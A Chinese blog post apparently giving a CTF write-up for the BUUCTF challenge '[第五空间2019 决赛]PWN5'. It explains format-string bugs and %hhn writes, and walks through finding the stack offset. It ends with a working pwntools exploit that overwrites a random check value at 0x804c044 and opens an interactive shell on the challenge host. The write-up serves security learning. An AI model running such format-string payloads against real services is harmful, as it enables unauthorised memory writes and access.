BUU pwn [第五空间2019 决赛]PWN5 //格式化字符串漏洞

[第五空间2019 决赛]PWN5

预备知识

格式化字符串漏洞指的是printf仅包含格式化字符串,而没有其他参数时,会越界访问到栈中高地址的内容作为参数,可以造成内存数据被泄露或修改。

该漏洞利用主要是靠%n,例如下面这行代码可以将%n前面字符串hello的长度5写入参数,也就是地址&a。我称之为正常printf

printf("hello%n",&a);

而下面的代码缺少参数,则会将5写入栈中"hello%n"上面一格内容x对应的内存M[x]

printf("hello%n");

此外,%hhn表示将前面字符串的长度以1个字节写入该地址

%10$$hhn表示将前面字符串的长度以1个字节写入第10个参数

文件分析

首先file,是32位ELF
image

IDA查看main函数,它的逻辑是:从/dev/urandom文件中读取一个随机数放到0x804c044地址处的变量中,然后用户输入用户名和密码,如果密码和变量相同则能够提权。
image
发现该程序会使用printf打印出来输入的用户名buf,这就可以利用格式化字符串漏洞,在输入用户名时利用%n覆盖掉0x804c044的变量内容,然后输入与之相同的密码即可。那么如何覆盖呢?

read(fd, &dword_804C044, 4u);表明这个变量占4个字节,其首地址是0x804c044,所以占的4个字节的地址是0x804c044, 0x804c045, 0x804c046, 0x804c047。

计算偏移

接下来我们要计算偏移,这一步用于确定我们应该把要覆盖的地址放到正常printf的第几个参数。我们知道下面这行代码会将栈上高地址的10个4字节元素以16进制输出

printf("%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x");

我们构造下面的payload并发送

payload = b'AAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x'

返回结果显示,AAAA对应的字节41414141出现在第10个%x对应的位置,AAAA就是正常printf函数的第10个参数,由于右侧的参数先压栈,所以AAAA相对当前栈顶的偏移量就是+10(中间隔着9个元素)。

image

构造payload

所以如果我们想修改0x804c044处的变量,就要让0x804c044作为正常printf的第10个参数,让0x804c045作为第11个参数,以此类推。用一张图来示意栈的结构
image

据此可以构造一个正常printf语句,...表示省略了中间的9个参数

printf("%10$hhn%11$hhn%12$hhn%13$hhn", ...,0x804c044, 0x804c045, 0x804c046, 0x804c047);

最后将正常的printf语句转为无参数的printf,即将参数放到格式化字符串前面。可以构造payload,注意passwd的每个字节是p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)的长度,也就是4x4=16,二进制为0x10,所以passwd就是4个0x10拼接起来后的计算结果str(0x10101010)=269488144

from pwn import *
p = remote("node4.buuoj.cn",25976)
payload = p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%10$hhn%11$hhn%12$hhn%13$hhn'
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()

image

posted @ 2023-03-01 16:57  Nemuzuki  阅读(260)  评论(0编辑  收藏  举报